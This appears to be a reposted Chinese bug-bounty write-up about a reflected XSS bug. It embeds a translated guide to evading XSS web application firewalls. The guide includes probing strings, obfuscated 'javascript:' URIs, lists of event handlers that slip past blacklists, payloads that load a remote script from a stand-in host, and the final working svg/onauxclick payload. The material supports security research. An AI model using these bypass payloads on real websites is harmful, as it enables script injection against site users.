内容简介:继续Fuzz通过最后这个工具会通过html的方式得出所有的api
这绝对是我玩过的最乏味的一次XSS。
我使用Burp进行枚举,用高级选项来控制测试范围。
然后我一个接一个的浏览应用程序,特别是要寻找可能有反射型的参数。我还使用了 Burp的 Actively scan defined insertion points
功能去扫描url参数。
继续Fuzz
枚举api
通过 https://github.com/GerbenJavado/LinkFinder
去枚举所有的接口,尝试发现其他的url。
最后这个 工具 会通过html的方式得出所有的api
最终导致这个接口容易受到XSS的攻击。 起初我检查了反射型。
从下图中可以看出,TEST值正在被反射出来。 进一步的测试表明,大多数参数都可以反射出来。
构造XSS Payload
然后我闭合value并尝试了几次注射,其中没有任何效果。 花了几个小时,全部被阻止。 我尝试了几种不同的标签和填充字符。 让我们看一个非常常见的XSS设计。
{TAG}{EVENT}={PAYLOAD}
顺带一起翻译
=====我是分割线=====
=====我是分割线=====
=====我是分割线=====
Bypass The Xss Waf
本文重点介绍怎么去绕过XSS的WAF
主要内容:
- 确定payload结构:确定给定上下文的各种payload结构可提供最佳的测试方法。
- 探测:探测,涉及针对目标的安全机制测试各种字符串。
- 混淆:如果需要,混淆/调整payload。
返回的响应包将帮助我们分析有关所用解决方案的是否成立。
XSS介绍
跨站点脚本攻击是一种注入类型。
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)HTML
内部标签:
<input type="text" value="$input">
外部标签:
<span>You entered $input</span>
外部标签:用于启动HTML标签的主要字符
根据HTML规范,标签名称必须以字母开头。
该信息可用于确定正则表达式与标签名称的匹配度。
<dEv - If fails, <[a-zA-Z]+ <d3V - If fails, <[a-zA-Z0-9]+ <d|3v - If fails, <.+ <svg - If passes, no tag checking is in place <dev - If fails,<[a-z]+ x<dev - If passes,^<[a-z]+
没有任何安全机制允许,几乎不可能绕过,但是由于高误报,这种过滤规则不是最优选。
如果不阻止,则会创建一个payload方案 - >新的payload。
1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到合适的{tag}后 ->使用正则表达式来匹配标签和事件处理程序之间的填充。
<tag%0axxx - if fails, [\s\n]+ <tag%0dxxx> - If fails, [\s\n\r+]+ <tag/~/xxx - If fails, .+ <tag xxx - If fails, {space} <tag%09xxx - if fails, [\s] <tag%09%09xxx - if fails, \s+ <tag/xxx - If fails, [\s/]+
事件处理是payload结构中最重要的部分之一,通常它会与常规正则表达式结合使用。
on\w+ or blacklist on(load|click|error|show)
第一个正则表达式是限制很大的,不能绕过,而黑名单通常使用鲜为人知的事件处理程序绕过,这些事件处理程序可能不在黑名单中。
<tag{filler}onxxx - If fails, on\w+. If passes, on(load|click|error|show) <tag{filler}onclick - If passes, no event handler checking regular expression is in place
如果正则是 on\w+
,那么无法绕过。
但是如果正则是黑名单模式,就继续寻找下一个payload:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
在安全机制阻止 <tag{filler}{event_handler}=d3v>
时,测试填充点。
要执行的下一个JavaScript组件。 这是payload的一部分,但不需要fuzz它的正则,因为JavaScript代码是任意的,因此无法匹配预定义的模式。
=>现在指出,payload的所有组件都放在一起,只需要闭合payload
<payload%0a <payload%0d <payload%09 <payload> <payload <payload{space} <payload//
HTML的规范允许:
<tag{white space}{anything here}>
Example
<a href='http://example.com' any text can be placed here as long as there's a greater-than sign somewhere later in the HTML document>
已验证。HTML标签的属性可帮助攻击者通过以上述方式注入HTML标签。
2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
测试类似于以前的payload方案。 That? 就可以在URL的末尾使用(如果URL后面没有使用填充字符),而不是结束标记。
字符规则是什么?
它将被视为URL的一部分,直到遇到>才结束。 使用 <script>
标记,可以检测大多数安全规则。
可以使用相同的payload方案创建
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
3
两种变体:
Plain Obfuscatable
一个简单的匹配模式。
href[\s]{0,}=[\s]{0,}javascript:.
它的结构:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,L F}
不同之处就是{special} 和{quote}.
{special}参考混淆版本:
j%0aAv%0dasCr%09ipt: J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a: J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:
在某些情况下,数字字符编码也可用于逃避检测。 可以使用十进制和十六进制。
avascript: java cript:
两种技术结合:
ava%0a%0d%09script:
Exe and Non
根据是否可以在没有任何特殊帮助的情况下执行注入的payload,可以分为exe和no-exe。 当输入的payload出现在HTML注释中时,会发生no-exe
<--$input-->
或者
<style> <title> <noembed> <template> <noscript> <textarea>
必须闭合这些标签才能执行有效负载。 exe和no-exe之间的唯一区别是对{closing tag}组件的测试。
</tag> </tAg/x> </tag{space}> </tag//> </tag%0a> </tag%0d> </tag%09>
如果找到了可行的方案。
{closing tag}{any payload from executable payload section}
=>成功注入
内部标签
<input value="$input" type="text">
主要字符 "
在某些情况下,不需要突破。
事件
<script src="$input">
恶意脚本/网络钓鱼 etc
可以直接加载
<script src="http://domain.com/malicious.js">
bypass
//example.com/xss.js bypasses http(?s):// ////////example.com/xss.js bypasses (?:http(?s):?)?// /\///\\/example.com/xss.js bypasses (?:http(?s):?)?//+
srcdoc
<iframe srcdoc="$input">
html实体化
<iframe srcdoc="<svg/onload=alert()>">
Generic Attributes
<input type="text" value=""/onfocus="alert()$input">
我们根据相关标签的交互性有两个类别:
- 交互
{quote}{filler}{event_handler}{?filler}={?filler}{javascript}
使用以下方法阻止WAF检查:
x”y:
事件处理程序在这里起着重要作用,因为这是WAF可能检测到的唯一组件。 每个标签都支持一些事件处理程序,并由用户来搜索此类情况,但是有一些事件处理程序可以链接到任何标签:
onmousedown onmouseenter onmouseleave onmousemove onmouseout onmouseover onmouseup onclick onauxclick ondblclick ondrag ondragend ondragenter ondragexit ondragleave ondragover ondragstart
如果输入的payload在无法在交互的标签内,则需要执行payload的标签。
{quote}>{any payload scheme from html context section}
JavaScript
String Variable
最常见的是字符串变量中的反射。 这很常见,因为开发人员通常会将用户的输入分配给变量,而不是直接使用它们:
var name = '$input'; {quote}{delimiter}{javascript}{delimiter}{quote} 单引号情况 yaml '%{javascript}%' '|{javascript}|' '<{javascript}<' '>{javascript}>' '^{javascript}^' '*{javascript}*' '+{javascript}+' '/{javascript}/' {quote}{delimiter}{javascript}// '<{javascript}//' '|{javascript}//' '^{javascript}//
BLOCKS
Example if (a > b){ xnxx_func('');}}alert();if(true){(''); }
if(true){
是语法有效, ('
闭合剩下的。
payload结构取决于代码本身,这种不确定性使得waf难以检测(可以添加混淆)。
');%0a}%0d}%09alert();/*xnxx.com*/if(true){//xnxx.com%0a(' </scRipT{?filler}>{html xnxx.com}
也可以分解执行payload,但很容易检测到。
Finally, testing in process hunter bug. Name: ModSecurity 7 Name: Wordfence 3 Name: Cloudflare 10 Name: Akamai Name: Comodo Name: F5
我还不能公开提供许多其他防火墙提供商。
对不起,我无法提供有效载荷POC。
========
回到主题
您可以在中间添加一些字符以逃避WAF的黑/白名单。 我尝试过的一些标签:
script img a body script html meta xml object etc.. etc..
好像没啥用。 几个小时后,我可以添加的唯一执行成功率很高的是svg和image标签。 WAF明显阻止img,但是图像没有被阻止。 我至少可以将图像注入到网站中,但是,由于表单的onload事件,它立即就被重定向。
然后我继续玩svg标签。
EVENT
我现在正在努力寻找一个没有被阻止的事件。
events on(load|click|error|show)
似乎一切都被ban了。 在fuzz很久之后,我最终发现 OnAuxClick
事件没有被阻止。 要尝试的一些事件的列表。
onclick ondblclick onmousedown onmousemove onmouseover onmouseout onmouseup onkeydown onkeypress onkeyup onabort onerror onload onresize onscroll onunload onsubmit onblur onchange onfocus onreset onselect onMoveOn onauxclick oncontextmenu onmouseleave ontouchcancel
对于攻击而言, onauxclick
并不像其他方法那样复杂或实用,但仍然有效。。
在TAG和EVENT未被阻止的情况下,我继续查找要执行的一些payload。
Payload
我没有介绍什么是可执行文件,但我最好的选择是直接从Alert,Prompt命令运行可执行文件。
一些payload的例子:
write(1) confirm(1) alert(1) prompt(1) Simple variation if () is blocked. Pay Attention now `` is just as effective. write`1` confirm`1` alert`1` prompt`1`
最终我使用``而不是传统方法的()使payload成功执行。
gridview=%27&’/>%20<svg/onauxClick%3D”alert`HackerOne`”</svg>=’&asd
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 记一次菠菜时时彩源码挖掘之旅
- SRC挖掘初探之随缘XSS挖掘
- 数据挖掘实操:用文本挖掘剖析近 5 万首《全唐诗》
- 产品需求挖掘与排序的2大利器:文本挖掘与KANO模型
- 数据挖掘竞赛指南:曾经的数据挖掘少年,如今的阿里算法大佬
- “天府杯”漏洞挖掘论坛开讲!满足你对漏洞挖掘的全部求知欲
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。